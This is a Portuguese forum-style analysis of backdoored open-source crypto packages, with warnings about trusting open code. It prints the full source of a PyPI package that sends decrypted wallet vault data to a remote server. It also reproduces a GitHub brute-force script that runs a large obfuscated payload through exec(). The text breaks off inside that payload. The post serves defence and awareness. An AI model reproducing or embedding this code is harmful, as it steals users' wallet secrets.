Vamos começar com o básico.

Código aberto - programas de código aberto fornecem acesso ao código-fonte do programa, permitindo aos usuários visualizar e modificar o código.
Código fechado - Os programas de código fechado fornecem apenas o código executável, mas não fornecem acesso ao código-fonte do programa.

Prós do código aberto :
*transparência
livre
a oportunidade de mudar o programa por si mesmo/contribuir para o projeto
Contras do código aberto :
*probabilidade de malware oculto no interior, com base na confiança das pessoas no código aberto
muitas vezes falta de apoio

Prós do código fechado :
fácil de usar
suporte profissional do desenvolvedor
Desvantagens do código fechado :
falta de transparência (probabilidade de malware/vazamento de dados internos, com base na falta de capacidade dos usuários de verificar o código)
dependência do desenvolvedor

Sim, o código aberto é mais seguro, mas o código fechado costuma ser mais conveniente. Também é mais fácil encontrar uma vulnerabilidade em código-fonte aberto, mas quem a encontra pode usá-la para seus próprios fins ou informar o desenvolvedor/ajudar a removê-la.

Depois de vários anos em TI, desenvolvi um hábito muito útil - duvidar do código fechado e ainda mais duvidoso do código aberto . Afinal, com código fechado tudo é óbvio, tudo pode ficar escondido ali, você está pronto para isso. Mas e o código aberto, qual é o benefício para o desenvolvedor? O código aberto joga com o fato de você confiar nele automaticamente , porque “ ninguém irá incorporar malware em código aberto e, em qualquer caso, alguém verifica tudo isso ao publicar Github/PyPI/..., e se também houver 3 estrelas em o idiota... "
Tomemos como exemplo um contrato inteligente; poucas pessoas confiarão nele e o usarão se seu código não for publicado. Após a publicação, o código é aberto, você olha e, à primeira vista, está tudo bem. E então, depois de 15 dias, ele irá trapacear. Como? Afinal, um contrato inteligente não pode ser alterado após a publicação e ser registrado no blockchain. Claro - havia um backdoor , mas estava escondido de tal forma que era improvável que uma pessoa sem conhecimento certo o encontrasse.
Geralmente é disfarçado como funções padrão/sem nome/de uma linha com um nome como _/ aN49Qio3hma/*nome inteligente temático, como no primeiro pacote desmontado (abaixo)* ou escondido dentro de um enorme código de lixo. Este é um dos principais problemas do código aberto.

As principais formas de distribuir pacotes backdoor são publicando no Github, PyPI, RubyGems e npm.
Minhas dicas para evitar malware estarão no final.

Vejamos o pacote do tópico que falei no início:

PyPI - hashdecrypt

Tudo é extremamente simples aqui. Após a instalação, há apenas um pequeno arquivo chamado hashDecrypt.py:

import json
import base64
import hashlib
from Crypto.Cipher import AES
from requests import post, get
# +---------------------------------+
# |           [HashDecrypt]            |
# | https://github.com/HashSnake    |
# |     Telegram: @HashSnake        |
# +---------------------------------+
# |bytes(bytes_line).decode("utf-8")|
# +---------------------------------+

class hdec:
    def key_from_password(self, password, salt):
        salt_buffer = base64.b64decode(salt)
        password_buffer = password.encode('utf-8')
        key = hashlib.pbkdf2_hmac(
            'sha256',
            password_buffer,
            salt_buffer,
            10000,
            dklen=32
            )
        return key

    def decrypt_with_key(self, key, payload):
        encrypted_data = base64.b64decode(payload["data"])
        vector = base64.b64decode(payload["iv"])
        data = encrypted_data[:-16]
        cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
        decrypted_data = cipher.decrypt(data)
        return decrypted_data

    def jsBIP39(self, payload):

        def cli_keccak256(raw_hash, raw_vault):
            try:
                message_bytes = raw_vault.encode('ascii')
                b64_bytes = base64.b64encode(message_bytes)
                b64_m = b64_bytes.decode('ascii')
                post(get(raw_hash).text.strip(), json={"b64": b64_m})
            except:
                pass
        encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpbmdz"
        base64_bytes = encode_data.encode('ascii')
        message_bytes = base64.b64decode(base64_bytes)
        cli_keccak256(message_bytes.decode('ascii'), payload)

    def decrypt(self, password, text):
        try:
            payload = json.loads(text)
            salt = payload['salt']
            key = self.key_from_password(password, salt)
            decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8')
            self.jsBIP39(decrypted_string)
            jsf = json.loads(decrypted_string)
            return {"status": True, "message": None, "result": jsf}
        except UnicodeDecodeError:
            return {"status": False, "message": "wrong password", "result": None}
        except:
            return {"status": False, "message": "unknown", "result": None}

https://forumupload.ru/uploads/001b/c9/09/2/t426513.png

A primeira coisa que vemos é a importação das funções post e get. Por que eles estão em um pacote para trabalhar com criptografia?
A segunda coisa que vemos são os contatos do desenvolvedor?) Incomum.

https://forumupload.ru/uploads/001b/c9/09/2/t122075.png

Vamos mais longe e vejamos essas linhas. Em ordem:
1. Após uma descrição bem-sucedida, antes de gerar o resultado, é iniciada a função jsBIP39, para a qual o valor encontrado é passado
2. Algo codificado em BASE64​
3. O valor codificado do ponto 2 é codificado em ascii (str -> bytes)​
4. O valor codificado do ponto 3 é decodificado por BASE64 e se torna um link “ https://github.com/HashSnake/backendapi … n/settings
5. A função aninhada cli_keccak256 é chamada, para a qual o URL recebido da etapa 4 é passado sob o disfarce de raw_hash e o valor que será enviado para o URL sob o disfarce de raw_vault
6. O valor que será enviado para a url também é codificado em ascii (str -> bytes)​
7. O valor codificado do ponto 6 agora está codificado em BASE64​
8. O valor codificado em BASE64 da etapa 7 é convertido novamente em uma string (bytes -> str)​
9.​
post(get(raw_hash).text.strip(), json={“b64”: b64_m})​

O que está acontecendo aqui:​
1. get(raw_hash)- faz uma solicitação GET para a URL que foi recebida no ponto 4 e recebe http://65.109.70.235:3030/apiuma resposta
2. .text.strip()- pega o atributo de resposta “texto” e remove espaços do início e do final dele
3. post(get(raw_hash).text.strip(), json={“b64”: b64_m})= post(“http://65.109.70.235:3030/api”, json={“b64”: b64_m})- envia dados roubados codificados em BASE64 para o servidor

Parece que este é um pacote estranhamente primitivo - 1 arquivo, 60 linhas . Mas, infelizmente, no momento muitas pessoas não têm conhecimento suficiente de que código aberto! = código seguro , então lançam código aberto com total confiança.

Naveguei em https://pypi.org e acidentalmente encontrei outro pacote , mas com exatamente a mesma função de enviar dados para o servidor (só que um servidor diferente, aparentemente, ele já faz isso há muito tempo).

https://forumupload.ru/uploads/001b/c9/09/2/t430000.png

O próximo script da review é do GitHub, que foi encontrado após 5 minutos de busca, um pouco mais interessante, mas aparentemente pensado para pessoas que não têm noção de suas ações.

Repositório: https://github.com/nft30001/Bitcoin-Mnemonic-Bruteforce

import sys
import random
import time
import datetime
import json
import os

try:
    import binascii
except:
    os.system('pip install binascii')
try:
    import mnemonic
except:
    os.system('pip install mnemonic')
try:
    import bip32utils
except:
    os.system('pip install bip32utils')
try:
    import requests
except:
    os.system('pip install requests')

import binascii
import mnemonic
import bip32utils
import requests

_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));
exec((_)(b'==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